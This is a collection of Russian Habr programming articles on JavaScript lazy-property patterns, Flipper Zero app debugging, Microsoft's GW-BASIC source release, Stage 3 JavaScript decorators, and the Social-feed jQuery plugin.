Мне показалось, что такие детали, вставленные в основной текст, отвлекут всех от главного, поэтому я вынес их в постскриптум. | https://habr.com/ru/post/467353/ | null | ru | null |
# Паттерны отложенной инициализации свойств объектов в JavaScript
Автор статьи, перевод которой мы публикуем сегодня, хочет рассказать о нескольких JavaScript-паттернах, направленных на отложенную инициализацию свойств объектов, для выполнения которой требуется произвести вычисления, создающие серьёзную нагрузку на систему. В основе всех этих паттернов лежит использование дескрипторов доступа — свойств объектов, описываемых парой функций — геттером и сеттером.
[](https://habr.com/ru/company/ruvds/blog/556166/)
Сложилось так, что разработчики создают в JavaScript-классах свойства, рассчитанные на хранение любых данных, которые могут понадобиться в экземплярах этих классов. В этом нет ничего плохого в том случае, если речь идёт о небольших фрагментах информации, к которым можно свободно обратиться в конструкторе. Но если для подготовки каких-то данных к использованию в экземпляре класса нужно произвести некие вычисления — разработчику, возможно, не захочется заблаговременно тратить системные ресурсы на эти вычисления.
Например — рассмотрим этот класс:
```
class MyClass {
constructor() {
this.data = someExpensiveComputation();
}
}
```
Тут для создания свойства `data` используются некие «дорогие» вычисления. Если нет полной уверенности в том, что данное свойство будет использоваться, то, возможно, нерационально будет заранее тратить ресурсы на выполнение этих вычислений. Но, к счастью, существует несколько способов выполнения подобных вычислений в отложенном режиме.
Паттерн «on-demand property»
----------------------------
Легче всего оптимизировать выполнение «дорогостоящих» вычислений, дождавшись момента, когда понадобятся соответствующие данные, а уже после этого проведя такие вычисления. Например, для того чтобы выполнить вычисления в нужный момент, можно воспользоваться дескриптором доступа с геттером. Это может выглядеть так:
```
class MyClass {
get data() {
return someExpensiveComputation();
}
}
```
В данном случае «дорогие» вычисления не будут выполняться до момента первой попытки считывания свойства `data`. А это, в сравнении с первым примером, уже выглядит как улучшение. Правда, тут одни и те же вычисления выполняются при каждом обращении к свойству `data`, что хуже, чем в первом примере, где, по крайней мере, вычисления выполнялись лишь единожды. Это — не лучшее решение, но, основываясь на нём, можно создать что-то гораздо более приличное.
Паттерн «messy lazy-loading property»
-------------------------------------
Выполнение вычислений лишь тогда, когда осуществляется обращение к свойству — это хорошая отправная точка. Но нам, на самом деле, надо кешировать информацию после выполнения вычислений, а потом просто использовать её версию из кеша. А где кешировать подобную информацию, при условии, что нам нужна возможность легко к ней обращаться? Проще всего будет объявить свойство с тем же именем и записать в него вычисленное значение:
```
class MyClass {
get data() {
const actualData = someExpensiveComputation();
Object.defineProperty(this, "data", {
value: actualData,
writable: false,
configurable: false,
enumerable: false
});
return actualData;
}
}
```
Тут, как и в прошлом примере, свойство `data` объявлено в классе как геттер, но в этот раз результат выполнения вычислений кешируется. Вызов метода `Object.defineProperty()` создаёт новое свойство `data` с фиксированным значением `actualData`. Это свойство мы настраиваем так, чтобы оно не являлось бы записываемым, настраиваемым и перечисляемым (чтобы оно совпадало с геттером). После этого возвращается само значение. Когда мы в следующий раз обратимся к свойству `data` — данные будут считаны из свежесозданного свойства, а не получены в результате вызова геттера:
```
const object = new MyClass();
// вызов геттера
const data1 = object.data;
// чтение из свойства data
const data2 = object.data;
```
Фактически, все вычисления выполняются лишь после первой попытки прочесть значение свойства `data`. Каждая следующая попытка его чтения приводит к возврату кешированной версии данных.
Единственный минус этого паттерна заключается в том, что в начале `data` является неперечисляемым свойством прототипа, а в конце — неперечисляемым собственным свойством объекта:
```
const object = new MyClass();
console.log(object.hasOwnProperty("data")); // false
const data = object.data;
console.log(object.hasOwnProperty("data")); // true
```
Хотя во многих случаях этим различием можно пренебречь, это важно понимать при использовании данного паттерна, так как это приводит к небольшим проблемам при передаче куда-либо подобных объектов. К счастью, эту проблему можно решить, использовав улучшенный вариант рассмотренного паттерна.
Паттерн «only-own lazy-loading property» для классов
----------------------------------------------------
Если имеется такой сценарий использования некоего класса, при реализации которого важно, чтобы свойство, значение которого вычисляется в отложенном режиме, всегда присутствовало бы в экземплярах класса, это значит, что можно воспользоваться методом `Object.defineProperty()` для создания нужного свойства в конструкторе класса. Код тут получается не таким аккуратным, как в предыдущем примере, но это позволяет добиться того, чтобы свойство всегда существовало бы в экземплярах класса. Вот пример:
```
class MyClass {
constructor() {
Object.defineProperty(this, "data", {
get() {
const actualData = someExpensiveComputation();
Object.defineProperty(this, "data", {
value: actualData,
writable: false,
configurable: false
});
return actualData;
},
configurable: true,
enumerable: true
});
}
}
```
Тут конструктор создаёт дескриптор доступа `data` с использованием `Object.defineProperty()`. Свойство создаётся в экземплярах класса (благодаря использованию `this`), ему назначается геттер, а так же указывается то, что оно является настраиваемым и перечисляемым (это типично для собственных свойств объектов). Особенно важно сделать свойство `data` настраиваемым, что позволит снова вызвать `Object.defineProperty()` с передачей этому методу имени `data`.
Функция-геттер выполняет вычисления и вызывает `Object.defineProperty()` во второй раз. Свойство `data` теперь переопределяется в виде дескриптора данных, которому назначено конкретное значение. Для защиты этого значения свойство настраивается так, чтобы оно не было бы записываемым и настраиваемым. Затем вычисленные данные возвращаются из геттера. А когда свойство `data` попытаются прочитать в следующий раз — будет возвращено сохранённое значение. И, в качестве приятного дополнения, свойство `data` теперь существует исключительно как собственное свойство объекта и ведёт себя одинаково и до первой попытки доступа к нему, и после неё:
```
const object = new MyClass();
console.log(object.hasOwnProperty("data")); // true
const data = object.data;
console.log(object.hasOwnProperty("data")); // true
```
Если вы, для создания объектов, пользуетесь классами, то, вероятно, вы выберете именно этот паттерн. А вот если вы применяете объектные литералы, то вам вполне подойдёт более простое решение.
Паттерн «lazy-loading property» для объектных литералов
-------------------------------------------------------
Если вы пользуетесь объектными литералами вместо классов, это значит, что реализация в них вышеописанных механизмов сильно упрощается, так как геттеры, объявленные в объектных литералах, являются, как и обычные дескрипторы данных, собственными перечисляемыми свойствами объектов (а не свойствами прототипов). Это значит, что тут можно использовать паттерн «messy lazy-loading property», который мы рассматривали в применении к классам, но только теперь его можно переименовать в «lazy-loading property». Слово «messy» в его названии намекает на то, что при его использовании реализуется довольно-таки запутанная схема работы со свойствами (сначала свойство является свойством прототипа, а потом — собственным свойством объекта). Теперь же никакой «путаницы» в работе со свойствами не наблюдается:
```
const object = {
get data() {
const actualData = someExpensiveComputation();
Object.defineProperty(this, "data", {
value: actualData,
writable: false,
configurable: false,
enumerable: false
});
return actualData;
}
};
console.log(object.hasOwnProperty("data")); // true
const data = object.data;
console.log(object.hasOwnProperty("data")); // true
```
Итоги
-----
Возможность переопределения свойств объектов в JavaScript открывает уникальные перспективы по кешированию данных, для получения которых требуются «тяжёлые» вычисления. Взяв за основу дескриптор доступа, который переопределяется в виде дескриптора данных, можно отложить выполнение этих вычислений до того момента, пока не будет выполнена первая попытка чтения свойства, после чего данные можно кешировать для последующего использования. Этот подход можно применять и при использовании классов, и при использовании объектных литералов. Причём, в случае с объектными литералами он оказывается немного проще, так как программисту не нужно беспокоиться о том, что геттер, объявленный в классе, является свойством прототипа.
Один из лучших подходов к оптимизации производительности представляет собой уход от многократного выполнения одних и тех же действий. В результате можно сказать, что каждый раз, когда у программиста возникает возможность что-то кешировать, у него возникает и возможность ускорения своей программы. Методы работы с данными, вроде того, который представлен паттерном «lazy-loading property», позволяют любому свойству сыграть роль кеша и внести вклад в улучшение производительности приложения.
Пользуетесь ли вы механизмами отложенной инициализации свойств объектов в своих проектах?
[](https://habr.com/ru/company/ruvds/blog/557204/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=patterny_otlozhennoj_inicializacii_svojstv_obektov_v_javascript) | https://habr.com/ru/post/556166/ | null | ru | null |
# Пишем и отлаживаем приложения для Flipper Zero
Недавно я получил свой флиппер и, решив написать первое приложение, столкнулся с проблемой отсутствия информации по отладке программного кода. Есть несколько статей по разработке приложений для флиппера ([первое приложение](https://habr.com/ru/post/594895/) и [приложение HewViewer](https://habr.com/ru/post/700378/)). Однако, когда я приступил к разработке и отладке приложения, опираясь на информацию из указанных статей, то столкнулся с трудностями, которые я опишу далее и укажу способы их решения.
Остановленное приложение**Установка VS Code**
Для начала работы с флиппером нужно скачать и установить Git и Visual Studio Code, так как для VS Code есть интеграция в [официальном репозитории](https://github.com/flipperdevices/flipperzero-firmware). После установки необходимо клонировать репозиторий в папку на диске.
Клонирования официального репозитория с прошивкойПосле копирования среда предложит справа внизу установить дополнительные расширения для форматирования и отладки кода. Разработчики рекомендуют согласиться с этим предложением.
Установка рекомендуемых расширенийПосле клонирования репозитория необходимо выполнить в терминале две команды для настройки среды разработки. Чтобы открыть терминал необходимо нажать (Ctrl + `)(русская буква ё). Далее по очереди вписываем команды:
```
./fbt vscode_dist
```
```
./fbt firmware_cdb
```
~~После настройки среды необходимо добавить в файл конфигурации VS Code путь подключения библиотек чтобы их видел InteliSense в файлах приложений. Путь к файлу конфигурации~~ **~~./.vscode/c\_cpp\_properties.json~~UPD:** Как подсказал [@hedger](/users/hedger)в комментариях: "Не надо так делать, IntelliSense работает с compile\_commands.json, который генерится при сборке полной прошивки. Он оттуда возьмёт все необходимые пути до инклюдов (и не добавит лишние/приватные, как это делает приведённый пример). "
Добавление includePath для InteliSenseк
Файл конфигурации до изменений
```
{
"configurations": [
{
"name": "Win32",
"compilerPath": "${workspaceFolder}/toolchain/x86_64-windows/bin/arm-none-eabi-gcc.exe",
"intelliSenseMode": "gcc-arm",
"compileCommands": "${workspaceFolder}/build/latest/compile_commands.json",
"configurationProvider": "ms-vscode.cpptools",
"cStandard": "gnu17",
"cppStandard": "c++17"
},
{
"name": "Linux",
"compilerPath": "${workspaceFolder}/toolchain/x86_64-linux/bin/arm-none-eabi-gcc",
"intelliSenseMode": "gcc-arm",
"compileCommands": "${workspaceFolder}/build/latest/compile_commands.json",
"configurationProvider": "ms-vscode.cpptools",
"cStandard": "gnu17",
"cppStandard": "c++17"
},
{
"name": "Mac",
"compilerPath": "${workspaceFolder}/toolchain/x86_64-darwin/bin/arm-none-eabi-gcc",
"intelliSenseMode": "gcc-arm",
"compileCommands": "${workspaceFolder}/build/latest/compile_commands.json",
"configurationProvider": "ms-vscode.cpptools",
"cStandard": "gnu17",
"cppStandard": "c++17"
}
],
"version": 4
}
```
Файл конфигурации после изменений
```
{
"configurations": [
{
"name": "Win32",
"compilerPath": "${workspaceFolder}/toolchain/x86_64-windows/bin/arm-none-eabi-gcc.exe",
"intelliSenseMode": "gcc-arm",
"compileCommands": "${workspaceFolder}/build/latest/compile_commands.json",
"configurationProvider": "ms-vscode.cpptools",
"cStandard": "gnu17",
"cppStandard": "c++17",
"includePath": [
"${workspaceFolder}/**"
]
},
{
"name": "Linux",
"compilerPath": "${workspaceFolder}/toolchain/x86_64-linux/bin/arm-none-eabi-gcc",
"intelliSenseMode": "gcc-arm",
"compileCommands": "${workspaceFolder}/build/latest/compile_commands.json",
"configurationProvider": "ms-vscode.cpptools",
"cStandard": "gnu17",
"cppStandard": "c++17"
},
{
"name": "Mac",
"compilerPath": "${workspaceFolder}/toolchain/x86_64-darwin/bin/arm-none-eabi-gcc",
"intelliSenseMode": "gcc-arm",
"compileCommands": "${workspaceFolder}/build/latest/compile_commands.json",
"configurationProvider": "ms-vscode.cpptools",
"cStandard": "gnu17",
"cppStandard": "c++17"
}
],
"version": 4
}
```
Не забываем сохранить файл и переходим к еще одной конфигурации, которая показалась мне удобной. Расширение С/С++ переносит код с одной строчки на несколько, если длина выражения превышает 99 символов. Мне удобно чтобы код переносился при длине выражения более 150 символов, поэтому изменяем значение переменной **ColumnLimit** на 59 строке в файле **.clang-format**
Значение до изменения
```
ColumnLimit: 99
```
Значение после изменения
```
ColumnLimit: 150
```
Сохраняем конфигурацию и переходим к сборке прошивки.
**Сборка Debug - версии прошивки**
Поочередно вводим команды в терминал. Сначала нам нужно собрать debug версию прошивки:
```
./fbt
```
После сборки флиппер необходимо прошить и это можно сделать несколькими способами. Я рассмотрю два способа прошивки. Первый - это подключить флиппер к компьютеру через USB:
```
./fbt FORCE=1 flash_usb
```
Второй способ - это прошивка через внутрисхемный программатор, я использую ST-Link V2:
Распиновка внутрисхемного программатора ST-Link V2Распиновку флиппера можно посмотреть в документации на [официальном сайте](https://docs.flipperzero.one/gpio-and-modules).
Распиновка разъема GPIO флиппера
```
./fbt FORCE=1 flash
```
Сейчас во флиппере чистая прошивка, подготовленная для разработки приложений. Напишем простое приложение [по примеру](https://yakovlev.me/hello-flipper-zero/). Для этого необходимо создать папку для приложения, добавить иконку и манифест к приложению.
Код приложения
```
#include
#include
#include
#include
#include
typedef struct {
Gui\* gui; //GUI Struct Pointer
ViewPort\* view\_port; //ViewPort Struct Pointer
} HelloWorldApp; //App Struct
static void render\_callback(Canvas\* canvas, void\* ctx) {
UNUSED(ctx); //UNUSED App context
canvas\_clear(canvas); //Clear Screen
canvas\_set\_color(canvas, ColorBlack); //Set Font Color
canvas\_set\_font(canvas, FontKeyboard); //Set Font Type
canvas\_draw\_str(canvas, 0, 12, "Hello, World!"); //Draw String
}
static HelloWorldApp\* hello\_world\_app\_alloc() {
HelloWorldApp\* app = malloc(sizeof(HelloWorldApp)); //Allocate memory for App
app->view\_port = view\_port\_alloc(); //Allocate ViewPort
view\_port\_draw\_callback\_set(app->view\_port, render\_callback, app); //ViewPort Render Callback Init
app->gui = furi\_record\_open(RECORD\_GUI); //Open GUI
gui\_add\_view\_port(app->gui, app->view\_port, GuiLayerFullscreen); //Add ViewPort to GUI
return app; //Return Allocated App Struct
}
static void hello\_world\_app\_free(HelloWorldApp\* app) {
gui\_remove\_view\_port(app->gui, app->view\_port); //Remove ViewPort from GUI
furi\_record\_close(RECORD\_GUI); //Close GUI
view\_port\_free(app->view\_port); //Clear ViewPort
free(app); //Clear App memory and sources
}
int32\_t hello\_world\_app(void\* p) {
UNUSED(p); //UNUSED pointer
HelloWorldApp\* HelloWorld = hello\_world\_app\_alloc(); //Allocate memory and sources for application
//Main application cycle
for(int i = 0; i < 70000000; i++) {
//Delay
}
//Main application cycle
hello\_world\_app\_free(HelloWorld); //Deallocate memory and sources for application
return 0; //Stop application
}
```
Манифест приложения
```
App(
appid="hello_world",
name="Hello World",
apptype=FlipperAppType.EXTERNAL,
entry_point="hello_world_app",
cdefines=["APP_HELLO_WORLD"],
requires=[
"gui",
"dialogs",
],
stack_size=1 * 1024,
order=100,
fap_icon="icons/hex_10px.png",
fap_category="Misc",
fap_icon_assets="icons",
)
```
Описание манифеста приложения и его параметров можно найти в [репозитории](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md), однако изменение параметра **order** у меня не вызвало никаких видимых изменений в порядке отображения приложений в меню выбора, возможно, я неправильно понимаю его влияние, надеюсь разработчики устройства подскажут в комментариях.
Иконку для приложения я взял из приложения [@QtRoS](https://habr.com/ru/users/QtRoS/) HexViewer, она лежит в [репозитории](https://github.com/QtRoS/flipper-zero-hex-viewer) и ее необходимо поместить в папку **icons.**
Структура папки с пользовательскими приложениями**Сборка и запуск приложения**
Далее собираем и запускаем приложение на устройстве:
```
./fbt launch_app APPSRC=./applications_user/hello_world
```
Если на флиппере открыто какое-либо приложение, кроме главного экрана и меню, то получим ошибку:
```
[ERROR] Unexpected response: Can't start, Applications application is running
```
Здесь, например, открыто приложение(Applications) для открытия пользовательских приложений)).
Результат работы приложения**Отладка приложения**
Далее попробуем отладить написанное приложение, для этого нам понадобится: внутрисхемный программатор ST-Link V2, а также расставить точки останова в нескольких местах. Пользовательские приложения .fap хранятся на SD-карте и не могут быть исполнены там, поэтому они сначала загружаются в оперативную память RAM и оттуда исполняются. Из этого следует, что мы не знаем, где в памяти окажется приложение, его адрес мы узнаем только после загрузки приложения в память. Итак, начнем отладку: сначала открываем файл загрузчика приложений **./applications/main/fap\_loader/fap\_loader\_app.c** на строке 107 ставим точку останова (F9):
```
FuriThread* thread = flipper_application_spawn(loader->app, NULL);
```
Открываем наше приложение и ставим точку останова (F9) в том месте, где нам нужно его отладить. Например, я поставлю на строчку 21, где начинается аллокация памяти для приложения:
```
HelloWorldApp* app = malloc(sizeof(HelloWorldApp)); //Allocate memory for App
```
Далее собираем и запускаем приложение, а затем собираем и заливаем прошивку:
```
./fbt launch_app APPSRC=./applications_user/hello_world
```
```
./fbt
```
Прошивка через USB:
```
./fbt FORCE=1 flash_usb
```
Прошивка через ST-Link:
```
./fbt FORCE=1 flash
```
Далее подключаем отладчик по схеме, которая находится выше, и переходим во вкладку отладки (Ctrl + Shift + D). Выбираем устройство отладки (в моем случае ST-Link) и запускаем отладку (F5). Даем флипперу запуститься с того места, где мы его остановили (F5). Запускаем свое приложение из меню флиппера Applications->Misc->Hello World. Срабатывает точка останова перед загрузкой приложения, выполняем один шаг без захода в функцию (F10), чтобы загрузить приложение.
Остановленный загрузчик приложенияДалее нужно в окне отладки **слева внизу выключить и включить галочкой** точку останова, чтобы отладчик нашел место в памяти, куда загрузилась программа:
Точки останова до включения/выключенияТочки останова после включения/выключенияВидно, что отладчик нашел программу в памяти и готов прерваться в следующей точке. Нажимаем (F10) и попадаем в нашу программу на точку останова, которую мы ставили на строку 21. Слева в меню видим переменные, а также регистры процессора. Отлаживать программу можно несколькими способами:
* выполнить шаг без захода в функцию (F10)
* выполнить шаг с заходом в функцию (F11)
* выполнить код из текущей отлаживаемой функции, чтобы выйти из нее (Shift + F11)
* продолжить выполнение кода до следующей точки останова (F5)
* закончить отладку и отключиться (Shift + F5)
Остановленное пользовательское приложениеПосле отладки приложения убираем точки останова из загрузчика приложений **fap\_loader\_app.c** и нашего приложения. Собираем приложение и прошивку как релиз и прошиваем:
```
./fbt launch_app APPSRC=./applications_user/hello_world
```
```
./fbt COMPACT=1 DEBUG=0
```
Прошивка через USB:
```
./fbt COMPACT=1 DEBUG=0 FORCE=1 flash_usb
```
Прошивка через ST-Link:
```
./fbt COMPACT=1 DEBUG=0 FORCE=1 flash прошиваем через ST-Link
```
После загрузки прошивки проверяем работоспособность приложения, на этом отладка заканчивается.
**Заключение**
В итоге получилось понять механизм отладки пользовательских приложений, которые хранятся на SD-карте. Полученный опыт будет полезен мне, чтобы отлаживать в будущем более сложные приложения, а также новичкам, которые только получили устройства и собираются написать свое собственное приложение. | https://habr.com/ru/post/710700/ | null | ru | null |
# Microsoft открыла исходный код GW-BASIC
21 мая 2020 года Microsoft [открыла](https://devblogs.microsoft.com/commandline/microsoft-open-sources-gw-basic/) исходный код интерпретатора языка программирования GW-BASIC. Код написан на ассемблере (пояснение в FAQ от Microsoft: этот код написан не на С, это 100 % ассемблер) для процессоров Intel 8088. Дата выпуска исходников от Microsoft — 10 февраля 1983 года. В настоящее время исходный код GW-BASIC [выложен](https://github.com/microsoft/GW-BASIC/blob/master/README.md) на GitHub под лицензией MIT.
Фактически, Microsoft опубликовала код GW-BASIC только в исторических и образовательных целях. Таким образом, компания дополнила исходные тексты операционной системы MS-DOS 1.25 и 2.0, [открытые](https://github.com/microsoft/ms-dos) всем в 2018 году. Также Microsoft не будет принимать pull-запросы в основном репозитории с этим кодом.
На GitHub файлы исходного кода GW-BASIC выложены с датой публикации «38 лет назад», правда это же относится к [LICENSE](https://github.com/Microsoft/GW-BASIC/blob/master/LICENSE) (Initial commit 38 years ago) и файлу [.gitignore](https://github.com/microsoft/GW-BASIC/blob/master/.gitignore) (там тоже Initial commit 38 years ago), что как то смотрятся странно. Как будто для создания такой исторической атмосферы использовался ПК с датой от 1983 года. А ведь MIT License появилась только в 1988 году.
Вдобавок в файле [GWMAIN.ASM](https://github.com/microsoft/GW-BASIC/blob/master/GWMAIN.ASM) можно найти строки:
`--------- ---- -- ---- ----- --- ---- -----
COPYRIGHT 1975 BY BILL GATES AND PAUL ALLEN
--------- ---- -- ---- ----- --- ---- -----
ORIGINALLY WRITTEN ON THE PDP-10 FROM
FEBRUARY 9 TO APRIL 9 1975
BILL GATES WROTE A LOT OF STUFF.
PAUL ALLEN WROTE A LOT OF OTHER STUFF AND FAST CODE.
MONTE DAVIDOFF WROTE THE MATH PACKAGE (F4I.MAC).`
Ранее 14 мая 2020 года президент Microsoft [Брэд Смит](https://news.microsoft.com/exec/brad-smith/) [заявил](https://habr.com/ru/news/t/502600/), что корпорация позволяла себе неверные высказывания относительно open source и Linux. Однако в последнее время подход Microsoft изменился, и многие проекты выходят с открытым исходным кодом, в том числе подсистема Windows для Linux (WSL).
> См.также: [История языков программирования: от BASIC к Visual Basic](https://habr.com/ru/post/315470/). | https://habr.com/ru/post/503384/ | null | ru | null |
# JavaScript декораторы наконец-то в Stage 3
18 апреля 2022 года, после 5 лет доработки (первый коммит от 30 апреля 2017 года), proposal по декораторам наконец-то достиг 3 стадии, что означает что у него есть спецификация, тестовая имплементация и осталась только полировка на основе фидбека от разработчиков. Учитывая что это уже [четвертая](http://senocular.github.io/articles/js_history_of_decorators.html) (!) итерация декораторов, их переход в стадию принятия это эпохальное событие для JS - не припомню ни одной другой фичи, которая прошла такой длинный и тернистый путь, с диаметрально разными подходами и аж двумя разными legacy-имплементациями, в Babel и TypeScript. Давайте же посмотрим на неё повнимательней.
Ссылки
------
[Репозиторий самого предложения, включая все предыдущие версии (в истории коммитов)](https://github.com/tc39/proposal-decorators).
[История предложений, включая ссылки на все четыре основные версии](http://senocular.github.io/articles/js_history_of_decorators.html).
[Независимая имплементация](https://javascriptdecorators.org/).
[Плагин для Babel](https://babeljs.io/docs/en/babel-plugin-proposal-decorators).
**Кстати, новая версия датируется в Babel как 2021-12** - потому что была представлена на саммите TC39 в декабре 2021 года.
Чем отличается от предыдущих версий
-----------------------------------
Во-первых, новые декораторы пока работают **только с классами и их элементами**. Впрочем, [предложения по расширению той же логики](https://github.com/tc39/proposal-decorators/blob/master/EXTENSIONS.md) на функции/параметры/объекты/переменные/аннотации/блоки/инициализаторы есть, но в текущую спеку не входят (что неудивительно, вряд ли кто-то хочет потратить еще 5 лет на достижение Stage 4).
Во-вторых, главное отличие новых декораторов: они работают только с сущностью которую декорируют (класс, поле класса, метод, геттер/сеттер и **аксессор** - новая сущность, о которой далее), а не с дескрипторами свойств и/или прототипами классов, как легаси подходы.
То есть они не способны добавить новые сущности в прототип/инстанс класса или хотя бы изменить их вид (с поля на геттер/сеттер, например), а могут только преобразовать ту сущность, которая описана в исходном коде - обернуть её в дополнительную логику или полностью заменить на другую, но того же вида.
Это было сделано в первую очередь под давлением разработчиков ~~V8~~ основных движков, так как чрезмерная гибкость предыдущих декораторов крайне плохо подходила для оптимизации кода в рантайме - именно поэтому принятие декораторов так затянулось.
Демо и синтаксис применения декораторов
---------------------------------------
Ну и сразу полный пример со всеми возможными комбинациями синтаксиса:
```
//export должен быть перед декоратором
export default
//декоратор класса, может изменять сам класс
@defineElement("some-element")
class SomeElement extends HTMLElement {
//декоратор поля - может заменить значение поля при инициализации класса
//все дальнейшие чтения/записи он не отслеживает
@inject('some-dep')
dep
//новый синтаксис - аксессор
//по факту просто сахар для пары геттер/сеттер
//похож на автоматически реализуемые свойства в C#
//могут быть и приватными и статическими
//декоратор может отслеживать чтение/запись
@reactive accessor clicked = false
//ну с методами и прочим все как обычно
@logged
someMethod() {
return 42
}
//да, с приватными элементами тоже работает, как и со статическими
//название декоратора может быть через точку
@random.int(0, 42)
#val
@logged
get val() {
return this.#val
}
@logged
set val(value) {
this.#val = value
}
//апофеоз:
//статический приватный аксессор c декоратором со сложным доступом
@(someArr[3].someFunc('param'))
static acсessor #name = 'some-element'
}
```
Текущие имплементации полифиллов этот пример полностью переварить еще не могут но, думаю, в скором времени это исправится.
Синтаксис для применения декораторов в целом не слишком отличается от привычного, есть только пара деталей:
1. Декоратор класса должен идти **после** export (если он есть) - это наверное главное отличие от статус-кво.
2. Для "обычного" применения декоратора можно использовать идентификатор, точку и вызов функции - `@dotted.form.with('some-call')`
3. Для "сложного" применения можно использовать синтаксис со скобками: `@(complex[1])`
Написание декораторов
---------------------
Тут никаких особых сюрпризов - декоратор это обычная функция с таким типом:
`context` предоставляет, как ни странно, контекст, сведения о месте применения декоратора, где:
* `kind` - вид элемента, на который применяется декоратор;
* `name` - название элемента;
* `access` - объект который позволяет в произвольный момент времени получить/установить значение элемента, может пригодиться, например, для DI. Разрешен только для элементов класса, но не для самих классов (то есть `get` или `set` есть только когда `kind != 'class'`);
* `private` и `static` - есть ли у элемента класса соответствующие модификаторы;
* `addInitializer` позволяет выполнить код после того как сам класс (не инстанс!) или элемент класса полностью определен - например, в нем можно зарегистрировать класс в DI или забиндить метод. Не применим только для поля класса (то есть определен когда `kind != 'field'` - об этом далее).
`Input` и `Output` зависят от `kind`, но в целом `Input` - это значение элемента как оно написано в коде, а `Output` - значение на которое оно будет заменено в рантайме.
Важный нюанс - для полей класса (когда `kind == 'field'`) `Input` всегда `undefined`, а `Output` может быть функцией вида `(initValue: unknown) => any` - эта функция вызывается при инициализации класса для вычисления начального значения поля. Именно из-за этого для поля класса не передается `addInitializer` - `Output` его заменяет.
Пример декоратора `logged`:
```
function logged(value, { kind, name }) {
if (kind === "method") {
return function (...args) {
console.log(`starting ${name} with arguments ${args.join(", ")}`);
const ret = value.call(this, ...args);
console.log(`ending ${name}`);
return ret;
};
}
if (kind === "field") {
return function (initialValue) {
console.log(`initializing ${name} with value ${initialValue}`);
return initialValue;
};
}
if (kind === "class") {
return class extends value {
constructor(...args) {
super(...args);
console.log(`constructing an instance of ${name} with arguments ${args.join(", ")}`);
}
}
}
```
Ну или вот `customElement` с использованием `addInitializer`:
```
function customElement(name) {
return (value, { addInitializer }) => {
addInitializer(function() {
customElements.define(name, this);
});
}
}
@customElement('my-element')
class MyElement extends HTMLElement {
static get observedAttributes() {
return ['some', 'attrs'];
}
}
```
Больше примеров (в том числе и с применением `access` для DI) смотрите [на гитхабе](https://github.com/tc39/proposal-decorators).
Аксессоры
---------
Ограничения новых декораторов в виде запрета на изменение вида элемента в целом логичны, но они убивают один крайне важный юзкейс декораторов - когда поле превращается в пару геттер/сеттер с дополнительной логикой вокруг. Это может быть, например, логгирование изменений поля для отладки, а может быть полноценная система реактивности, как в MobX, который, по сути, основан на этом хаке:
```
import {computed, observable, autorun} from 'mobx'
class Counter {
//вот здесь поле превращается в геттер/сеттер
@observable num = 1
//а будет так
@observable accessor num = 1
@computed
get double() {
return this.num * 2
}
}
const counter = new Counter()
//выведет 2
autorun(() => console.log(counter.double))
//когда изменяем num, изменится и double
counter.num = 2
//autorun выполняется снова и выводит 4
```
С новыми декораторами все такие поля придется помечать как `accessor` что, конечно, не слишком весело, но в целом терпимо и может отслеживаться, например, тайпскриптом. Под капотом работать это будет примерно так:
```
class C {
accessor x = 1;
}
//Раскрывается в...
class C {
#x = 1;
get x() {
return this.#x;
}
set x(val) {
this.#x = val;
}
}
```
Имплементации
-------------
Пока ждем реализации в основных тулзах - в первую очередь это, конечно, поддержка аксессоров как нового синтаксиса. Когда IDE, TypeScript и Babel (esbuild и т.д.) смогут их корректно обрабатывать, сделать полифиллы будет не так и сложно.
И я крайне надеюсь что TypeScript будет корректно обрабатывать типы декораторов при замене значений - сейчас декоратор никак не может повлиять на тип декорируемого значения.
Ссылки для отслеживания внедрения:
[TypeScript - фича включена в планы на версию 4.8](https://github.com/microsoft/TypeScript/issues/48885).
[esbuild - ждут реализации в TS/node/браузерах](https://github.com/evanw/esbuild/issues/104).
Ну а потом последует волна переезда на новую реализацию со стороны экосистемы. К счастью, декораторы в JS не так и распространены, и при этом новые декораторы могут быть реализованы в библиотеках **вместе со старыми** - их сигнатура отличается от Babel/TS декораторов.
Дождались, в общем. | https://habr.com/ru/post/666688/ | null | ru | null |
# jQuery плагин Social-feed
#### Social-feed
[](http://pavelk2.github.io/social-feed/)
В настоящее время практически на каждом сайте есть социальный блок, где отображаются [последние посты из *twitter*](http://bower.io/#twitter-updates-from-bowerhttpstwittercombower), последние фото из *instagram* или [обновления из *facebook*](http://gastrogallery.ru/#slide7). Зачастую эти социальные блоки работают на основе *iframe*, что не позволяет гармонично интегрировать обновления из социальных сетей с основным контентом сайта. В случае, если необходимо отображать обновления только из *facebook* или только из *instagram*, то существуют *jQuery* плагины с редактируемым внешним видом ([этот](http://pongstr.github.io/pongstagr.am/), [или этот](http://potomak.github.io/jquery-instagram/)). Если вам необходимо отображать обновления сразу из нескольких социальных сетей, то на помощь приходит **[*Social-feed*](http://pavelk2.github.io/social-feed/)**.
##### Онлайн демо работы плагина <http://pavelk2.github.io/social-feed/>.
*Social-feed* это полностью *front-end* плагин, который отображает последние сообщения из социальных сетей по заданному хеш-тэгу или пользователю. Социальные сети, которые поддерживает плагин:
* *Facebook*,
* *Instagram*,
* *Twitter*,
* *Google*+,
* Вконтакте.
##### Установка
через *[bower.io](http://bower.io)*:
```
bower install social-feed
```
или скачать последний релиз:
<https://github.com/pavelk2/social-feed/releases>.
##### Подключение плагина
Сперва подключаем стили:
```
```
Создаем контейнер, в котором будут размещаться сообщения:
```
```
Подключаем необходимые *javascript* библиотеки:
```
```
Инициализируем плагин:
```
$(document).ready(function(){
$('.social-feed-container').socialfeed({
// FACEBOOK
facebook:{
accounts: ['@teslamotors','#teslamotors'],
limit: 2,
access\_token: 'YOUR\_FACEBOOK\_ACCESS\_TOKEN' // APP\_ID|APP\_SECRET
},
// TWITTER
twitter:{
accounts: ['@spacex'],
limit: 2,
consumer\_key: 'YOUR\_CONSUMER\_KEY', // make sure to have your app read-only
consumer\_secret: 'YOUR\_CONSUMER\_SECRET\_KEY', // make sure to have your app read-only
},
// VK
vk:{
accounts: ['@125936523','#teslamotors'],
limit: 2,
source: 'all'
},
// GOOGLEPLUS
google:{
accounts: ['#teslamotors'],
limit: 2,
access\_token: 'YOUR\_GOOGLE\_PLUS\_ACCESS\_TOKEN'
},
// INSTAGRAM
instagram:{
accounts: ['@teslamotors','#teslamotors'],
limit:2,
client\_id: 'YOUR\_INSTAGRAM\_CLIENT\_ID'
},
// GENERAL SETTINGS
length:400,
show\_media:true,
